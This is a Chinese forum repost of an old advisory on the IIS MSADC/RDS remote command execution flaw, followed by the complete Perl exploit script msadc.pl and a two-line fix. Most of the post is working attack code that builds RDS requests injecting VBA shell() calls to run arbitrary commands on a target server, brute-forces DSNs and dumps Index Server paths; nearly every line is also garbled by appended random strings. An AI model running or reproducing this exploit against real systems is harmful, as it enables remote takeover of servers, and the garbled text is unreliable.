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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) .[85<"C  
(\Zo"x;(  
涉及程序: ~'\u:Imuo  
Microsoft NT server Pg C]@Q%  
;|,Y2?  
描述: 4c@F.I  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 w~?eX/;  
TL:RB)- <  
详细: \1_&?( pU  
如果你没有时间读详细内容的话,就删除: *heQ@ww  
c:\Program Files\Common Files\System\Msadc\msadcs.dll [kkcV5I-  
有关的安全问题就没有了。 Z}StA0F_  
,R6$SrNcd  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 y^BM*CI  
Vo8"/]_h  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 q2i~<;Z)9  
关于利用ODBC远程漏洞的描述,请参看: lB@K;E@r8  
D$ z!wV  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $>m<+nai'  
Vk T3_f  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 9oz)E>K4f  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp #+nv,?@  
L]")TQ  
这里不再论述。 /omVM u  
e|y~q0Q$  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Z] }@#/ n  
1Xc%%j  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset JpiKZG@L  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 3W0:0I  
/Vc!N)  
m!(K  
#将下面这段保存为txt文件,然后: "perl -x 文件名" <{uIB;P  
mj~CCokF{?  
#!perl !I&Sy]G  
# (^\i(cfu6Q  
# MSADC/RDS 'usage' (aka exploit) script yRDLg c  
# K.Z{4x=0  
# by rain.forest.puppy +__Rk1CVh  
# EZV$1pa  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me z ZQoY_UI  
# beta test and find errors! .jw)e!<\N  
Jsl,r+'H  
use Socket; use Getopt::Std; D%v yO_k  
getopts("e:vd:h:XR", \%args); 4F?1,-X  
;k]pq4E  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; mH"`46  
+0DIN4Y(4  
if (!defined $args{h} && !defined $args{R}) { ?~Des"F6)1  
print qq~ r{_'2Z_i  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 0a5P@;"a  
-h <host> = host you want to scan (ip or domain) cae}dHG2  
-d <seconds> = delay between calls, default 1 second qMkP/BjV  
-X = dump Index Server path table, if available n_Z8%|h  
-v = verbose U Lq%,ca  
-e = external dictionary file for step 5 6~s,j({^  
'%,Re-8O  
Or a -R will resume a command session FYJB.lAT  
~oI49Q&{  
~; exit;} lMP7o&  
HFazqQ[  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ntT| G0E  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} !Zrvko  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} $lQi0*s  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); DCm;dh  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} +2?[=g4;}  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 9fiZ5\  
> h9U~#G=  
if (!defined $args{R}){ $ret = &has_msadc; ATU@5,9  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} B.|vmq,u  
;u%hwlo  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" $2.DZ  
. "cmd /c "; i0P+,U  
$in=<STDIN>; chomp $in; ^V:YNUqp#  
$command="cmd /c " . $in ; cA*%K[9  
& 2b f  
if (defined $args{R}) {&load; exit;} /X?Nv^Hy  
PIA&s6U  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; L81"W`?  
&try_btcustmr; 9T]]TEv4  
}yw\+fc  
print "\nStep 2: Trying to make our own DSN..."; @ZVc!5J_,  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 0K!9MDT}*  
S$#Awen"@  
print "\nStep 3: Trying known DSNs..."; 9we=aX5  
&known_dsn; MLDuo|?  
<[q)2 5RL  
print "\nStep 4: Trying known .mdbs..."; b9U2afd  
&known_mdb; k4@GjO1"$  
,kP{3.#Q  
if (defined $args{e}){ _+{s^n=  
print "\nStep 5: Trying dictionary of DSN names..."; ("aYjK k  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } suVS!} C  
qUo(hbp  
print "Sorry Charley...maybe next time?\n"; 5mV'k"Om#"  
exit; Ii9vA ^53  
/oI ''O%M  
############################################################################## acH.L _B:  
BP7_o63/G  
sub sendraw { # ripped and modded from whisker HG^8&uh]  
sleep($delay); # it's a DoS on the server! At least on mine... )KNFS,5  
my ($pstr)=@_; FUH1Z+9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0QPipuP  
die("Socket problems\n"); UeRenp  
if(connect(S,pack "SnA4x8",2,80,$target)){ HqbTJ!a  
select(S); $|=1; ?]})Xf.A  
print $pstr; my @in=<S>; +vQyHo  
select(STDOUT); close(S); [;2v[&Po  
return @in; ^cY5!W.q8  
} else { die("Can't connect...\n"); }} \!%3giD5!  
l/`Z+];  
############################################################################## 0t9G $23  
`w q\K8v  
sub make_header { # make the HTTP request "ZH1W9A  
my $msadc=<<EOT BG|Kw)z*KM  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 4Qw!YI#40$  
User-Agent: ACTIVEDATA \&cVcA g  
Host: $ip 3B_S>0H"$  
Content-Length: $clen )JjfPb64  
Connection: Keep-Alive ZF`ckWT:-N  
 $% jV%k  
ADCClientVersion:01.06 ^c2 8Q.<w(  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 "XH]B  
IXH;QwR:  
--!ADM!ROX!YOUR!WORLD! -wO`o<  
Content-Type: application/x-varg s^AYPmR6  
Content-Length: $reqlen {!,+C0  
*BF1 Sso  
EOT a E#s#Kv   
; $msadc=~s/\n/\r\n/g; \'p)kDf  
return $msadc;} jHFdDw|N`  
20J:_+=]  
############################################################################## F|"NJ*o}  
5tf/VT   
sub make_req { # make the RDS request KJ-D|N,8@^  
my ($switch, $p1, $p2)=@_; 2. |Y  
my $req=""; my $t1, $t2, $query, $dsn; Zw }7vD0  
Pukq{/27  
if ($switch==1){ # this is the btcustmr.mdb query _{A($/~c?  
$query="Select * from Customers where City=" . make_shell(); ZGS=;jM  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  u2DsjaL  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} %7{6>6%  
+x WT)h/  
elsif ($switch==2){ # this is general make table query Y H?>2u  
$query="create table AZZ (B int, C varchar(10))"; alq>|,\x  
$dsn="$p1";} [H"Ods~_`  
#$8tBo  
elsif ($switch==3){ # this is general exploit table query Q.5a"(d@  
$query="select * from AZZ where C=" . make_shell(); a ZfX |  
$dsn="$p1";} SX;FBO(p  
'vh:(-  
elsif ($switch==4){ # attempt to hork file info from index server /  ]I]  
$query="select path from scope()"; \ii^F?+b  
$dsn="Provider=MSIDXS;";} HC$_p,9OV  
D L$P  
elsif ($switch==5){ # bad query Lrz>00(*4  
$query="select"; <8H`y(S  
$dsn="$p1";} %T 88K}?=  
xOS4J+'s@  
$t1= make_unicode($query); ??k^Rw+0R  
$t2= make_unicode($dsn); 4u"O/rt  
$req = "\x02\x00\x03\x00"; Ar>-xCT D  
$req.= "\x08\x00" . pack ("S1", length($t1)); jtd{=[STU  
$req.= "\x00\x00" . $t1 ; hmks\eb~  
$req.= "\x08\x00" . pack ("S1", length($t2)); BB~Qs  
$req.= "\x00\x00" . $t2 ; {lqnn n3  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; sYeZ.MacU  
return $req;} qG~O] ($  
cA_v*`YL  
############################################################################## 2&P'rmFm  
]x~H"<V  
sub make_shell { # this makes the shell() statement g{dyDN$5|w  
return "'|shell(\"$command\")|'";} ;o#dmG  
GT* \gZ  
############################################################################## / EWF0XV!  
J#bEAK^L,l  
sub make_unicode { # quick little function to convert to unicode _ 57m] ;&  
my ($in)=@_; my $out;  x@Q}sW92  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } cl^tX%  
return $out;} tTC[^Dji  
17J|g.]m-&  
############################################################################## \u:xDS(  
CkIICx  
sub rdo_success { # checks for RDO return success (this is kludge) \9<aCJxN  
my (@in) = @_; my $base=content_start(@in); ck-wMd  
if($in[$base]=~/multipart\/mixed/){ eBG7]u,Q  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Wrt3p-N"D  
return 0;} evZ{~v& /  
~^:/t<N  
############################################################################## N#Y4nllJ  
7@MVInV9  
sub make_dsn { # this makes a DSN for us 4RJ8 2yq-  
my @drives=("c","d","e","f"); Fj -mo>"  
print "\nMaking DSN: "; 6i,d|  
foreach $drive (@drives) { hyFq>XFo  
print "$drive: "; EcFYP"{U  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . y~''r%]   
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" <#LH L  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %<:?{<~wH9  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; N%n#mV;  
return 0 if $2 eq "404"; # not found/doesn't exist Peh( *D{  
if($2 eq "200") { X 1^f0\k  
foreach $line (@results) { >\%44ba6  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} @4_W}1W  
} return 0;} hP,SvN#!2  
t k2B\}6  
############################################################################## 0g~WM  
 &EV|knW  
sub verify_exists { AZxOq !B  
my ($page)=@_; )%f]`<o  
my @results=sendraw("GET $page HTTP/1.0\n\n"); s>E4.0[I%  
return $results[0];} |s[m;Qm[ku  
2-. g>'W  
############################################################################## vUY?Eb[  
B$_F)2%m;  
sub try_btcustmr { i=]IUjx<  
my @drives=("c","d","e","f"); `yNNpSdS1  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `N;u#z  
;9/6X#;$  
foreach $dir (@dirs) { {.DI[@.g  
print "$dir -> "; # fun status so you can see progress uFW4A  
foreach $drive (@drives) { Y+F$]!hw  
print "$drive: "; # ditto Y:ZI9JK?  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; o#4Wn'E  
$reqlenlen=length( "$reqlen" ); b8feo'4Z   
$clen= 206 + $reqlenlen + $reqlen; Fu(e4E  
`LVXK|m+$  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); KSc&6UVz^  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} "u3  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 8HxB\ !0F?  
)|q,RAn  
############################################################################## gh['T,  
!c\s)&U7B  
sub odbc_error { x{&0:|bCs6  
my (@in)=@_; my $base; )U`H7\*)  
my $base = content_start(@in); 7Z93`A-=  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this \b1I<4(  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; WIQt5=-  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; plv"/KJM  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Gg{@]9  
return $in[$base+4].$in[$base+5].$in[$base+6];} P>0j]?RB  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; <xOpm8  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . hUxpz:U*  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 6Bo~7gnc  
0/#XUX 4  
############################################################################## {(7Dz*0  
F C2oP,  
sub verbose { Q{Jz;6"  
my ($in)=@_; 1x V~EX  
return if !$verbose; 49@ pA-  
print STDOUT "\n$in\n";} r%&hiobMYs  
i/, G=yA  
##############################################################################  ?MPM@9  
yaa+j8s]  
sub save { |U8;25Y  
my ($p1, $p2, $p3, $p4)=@_; 3`5?Zgp  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; [f:>tRdH  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; C' o4Su#  
close OUT;} ^8 AV#a  
K}1>n2P  
############################################################################## 3r%I *  
#:"\6s  
sub load { 7Aq4YjbX  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; a^)7&|$ E  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); RCND|X  
@p=<IN>; close(IN); +`mJh \*  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 9 /t}S6b{  
$target= inet_aton($ip) || die("inet_aton problems"); j &)|nK;}  
print "Resuming to $ip ..."; n 'ZlIh  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; s><RL]+{G+  
if($p[1]==1) { !:c7I@  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; V<\:iNXX{  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;  8Nd +  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Ud*.[GRD~  
if (rdo_success(@results)){print "Success!\n";} SdnqM`uFo  
else { print "failed\n"; verbose(odbc_error(@results));}} $gJMF(  
elsif ($p[1]==3){ #Ru+|KL  
if(run_query("$p[3]")){ x*}(l%[  
print "Success!\n";} else { print "failed\n"; }} $QNfy.6Tn  
elsif ($p[1]==4){ {SqY77  
if(run_query($drvst . "$p[3]")){  vF]?i  
print "Success!\n"; } else { print "failed\n"; }} bpzB}nEp  
exit;} p!hewtb5  
-x:Wp*,  
############################################################################## r\'3q '7p  
@wl80v  
sub create_table { A}t.`FLP,j  
my ($in)=@_; /(W{`  
$reqlen=length( make_req(2,$in,"") ) - 28; 96}/;e]@  
$reqlenlen=length( "$reqlen" ); p#^L ZX  
$clen= 206 + $reqlenlen + $reqlen; I]~xs0$4#  
my @results=sendraw(make_header() . make_req(2,$in,"")); ~Xh(JK]  
return 1 if rdo_success(@results); yE{l Xp;  
my $temp= odbc_error(@results); verbose($temp); `i f*   
return 1 if $temp=~/Table 'AZZ' already exists/; QkGr{  
return 0;} h'MX{Wm.  
[9'5+RXw3  
############################################################################## ;yBq'_e3  
&EE6<-B-  
sub known_dsn { 0=t_ a]+  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 5NJ@mm{0  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", &{Uaa  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", w{I60|C]*  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); g#Zb}^  
}\JoE4  
foreach $dSn (@dsns) { Pkc4=i,`A  
print "."; ,(OA5%A9zK  
next if (!is_access("DSN=$dSn")); 6;*tw i  
if(create_table("DSN=$dSn")){ o1GWcxu*\  
print "$dSn successful\n"; D 67H56[  
if(run_query("DSN=$dSn")){ oYlq1MB?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 3j]La  
print "Something's borked. Use verbose next time\n";}}} print "\n";} b.8HGt<%  
kki]6_/n  
############################################################################## ?uk|x!Ko]  
}9 qsPn  
sub is_access { 'G@Npp)&^  
my ($in)=@_; }eEF/o  
$reqlen=length( make_req(5,$in,"") ) - 28; `9zP{p  
$reqlenlen=length( "$reqlen" ); FRs5 Pb1  
$clen= 206 + $reqlenlen + $reqlen; V9B $_j4  
my @results=sendraw(make_header() . make_req(5,$in,"")); `.L8<-]W  
my $temp= odbc_error(@results); {BJ[h  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); gbXzD`WQ  
return 0;} _4[kg)#+  
wy:.  
############################################################################## N@tzYD|hA  
J*a`qU   
sub run_query { VdVca1Z  
my ($in)=@_; A n/)|B4  
$reqlen=length( make_req(3,$in,"") ) - 28; V%o:Qa[a  
$reqlenlen=length( "$reqlen" ); h=d&@k\g  
$clen= 206 + $reqlenlen + $reqlen; `4\H'p  
my @results=sendraw(make_header() . make_req(3,$in,"")); ApU5,R0  
return 1 if rdo_success(@results); -_b}b)2iYN  
my $temp= odbc_error(@results); verbose($temp); ~[k 2(  
return 0;} A4%0  
\iu2rat^  
############################################################################## M#F;eK2pf  
1xT^ ,e6  
sub known_mdb { eR8h4M~O  
my @drives=("c","d","e","f","g"); T3'dfe U  
my @dirs=("winnt","winnt35","winnt351","win","windows"); bG2 !5m4L  
my $dir, $drive, $mdb; 96MRnj*Y[  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; (iBBdB  
.hETqE`E  
# this is sparse, because I don't know of many Tvf]OJ9N  
my @sysmdbs=( "\\catroot\\icatalog.mdb", (nvSB}?  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  "}Ya.  
"\\system32\\certmdb.mdb", 'T+3tGCy+  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ;rd!kFd#bq  
15Yy&9D  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ")x9A&p  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ]%shs  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", }tc,3> /  
"\\cfusion\\cfapps\\security\\realm_.mdb", ]J_Dn\  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Bv3?WW  
"\\cfusion\\database\\cfexamples.mdb", (_U&EX%  
"\\cfusion\\database\\cfsnippets.mdb", *$(9,y\  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 78}iNGf  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", )M'#l<9B  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Q0ev*MS9Z  
"\\cfusion\\database\\smpolicy.mdb", Dve5Ml-  
"\\cfusion\\database\cypress.mdb", ?A,gDk/#  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", <t]i' D(K  
"\\website\\cgi-win\\dbsample.mdb", r&Za*TD^  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", - DL/Hk_r  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" h1JG^w$ 5  
); #these are just I:AlM ?  
foreach $drive (@drives) { G8akMd]2  
foreach $dir (@dirs){ cZ^$!0  
foreach $mdb (@sysmdbs) { ;'2y6"\Y  
print "."; ZaXK=%z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 7m@pdq5Ub  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; :~U1JAs$  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 8oN4!#:  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; |wVoJO!O}  
} else { print "Something's borked. Use verbose next time\n"; }}}}} DRf~l9f  
>.J68 x  
foreach $drive (@drives) { nSgg'I(  
foreach $mdb (@mdbs) { AB}Qd\  
print "."; 1sn!!  
if(create_table($drv . $drive . $dir . $mdb)){ 1cOp"!  
print "\n" . $drive . $dir . $mdb . " successful\n"; `=%[  
if(run_query($drv . $drive . $dir . $mdb)){ 7d'4"c;*;  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; oBKZ$&_h  
} else { print "Something's borked. Use verbose next time\n"; }}}} P#rwYPww\  
} 8m-jU 5u  
+z("'Cv  
############################################################################## o.}^6.h"  
U{eC^yjt"o  
sub hork_idx { j!:U*}f  
print "\nAttempting to dump Index Server tables...\n"; LF*3Iw|v  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; >\(Ma3S   
$reqlen=length( make_req(4,"","") ) - 28; *.voN[$~  
$reqlenlen=length( "$reqlen" ); UxD1+\N6?  
$clen= 206 + $reqlenlen + $reqlen; vAwFPqu  
my @results=sendraw2(make_header() . make_req(4,"","")); q)<5&|V  
if (rdo_success(@results)){ MH{vFA4:,  
my $max=@results; my $c; my %d; ukq9Cjs  
for($c=19; $c<$max; $c++){ g<}EL[9  
$results[$c]=~s/\x00//g; Z0`?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; kDO6:sjR7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; b^hCm`2w*  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; vaR0`F  
$d{"$1$2"}="";} \+L_'*&8  
foreach $c (keys %d){ print "$c\n"; } $`_(%tl  
} else {print "Index server doesn't seem to be installed.\n"; }} d'Gv\i&e  
U|U/B  
############################################################################## [h8F)  
bp$8hUNYz-  
sub dsn_dict { 9OT2yC T  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); `2r21rVntf  
while(<IN>){ ]2b" oHg  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Yn1U@!  
next if (!is_access("DSN=$dSn"));  LFGu|](  
if(create_table("DSN=$dSn")){ { H9pF2C  
print "$dSn successful\n"; Arfq  
if(run_query("DSN=$dSn")){ O aF+Z@s  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ']+H P9i$  
print "Something's borked. Use verbose next time\n";}}} rhNdXYY>  
print "\n"; close(IN);} ;J?^M!l2=  
>KGQ#hnH  
############################################################################## xW"J@OiKL  
nR"k %$  
sub sendraw2 { # ripped and modded from whisker z:< (b   
sleep($delay); # it's a DoS on the server! At least on mine... hih`:y  
my ($pstr)=@_; wJ IJPYTK  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *jA%.F  
die("Socket problems\n"); r% mN]?u  
if(connect(S,pack "SnA4x8",2,80,$target)){ G ROl9xp2  
print "Connected. Getting data"; ?>lmLz!e  
open(OUT,">raw.out"); my @in; g`J? 2 _]  
select(S); $|=1; print $pstr; eTrGFe!8w  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} uLL#(bhDr  
close(OUT); select(STDOUT); close(S); return @in; zWjGGTP~3&  
} else { die("Can't connect...\n"); }} 06Uxd\E~  
dWm[#,Q?  
############################################################################## deu+ i  
ZU "y<  
sub content_start { # this will take in the server headers Zjo9c{\  
my (@in)=@_; my $c; 70KXBu<6  
for ($c=1;$c<500;$c++) { T 6phD8#  
if($in[$c] =~/^\x0d\x0a/){ U*a!Gn7l  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } /9GqEQsfM  
else { return $c+1; }}} d5zzQ]|L  
return -1;} # it should never get here actually OQ[>s(`*{  
\nxt\KD  
############################################################################## p1Lx\   
~r=TVHjqi  
sub funky { Po^2+s(fY  
my (@in)=@_; my $error=odbc_error(@in); 1bj75/i<6  
if($error=~/ADO could not find the specified provider/){ Pv/P<i^  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; u)Y#&qA  
exit;} #c!(97l6o  
if($error=~/A Handler is required/){ u $sX6  
print "\nServer has custom handler filters (they most likely are patched)\n"; CQtd%'rt6  
exit;} z,] fR  
if($error=~/specified Handler has denied Access/){ %FF  S&vd  
print "\nServer has custom handler filters (they most likely are patched)\n"; )Ba^Igb}  
exit;}} *><] [|Y@H  
yY&(?6\{<<  
############################################################################## ~CM{?{z;  
W}.4$f>  
sub has_msadc { EO| kiC   
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); .R-:vU880  
my $base=content_start(@results); cAktSoF  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); p.l]% \QI  
return 0;} Y[x ^59  
sO(Kpo9jq  
######################## UiYA#m  
txL5' mK  
nt5 ~"8  
解决方案: -rH3rKtf~  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll c6lEWC:  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 2cmqtlW"  
APLu?wy7s5  
拿出来充数 哈哈
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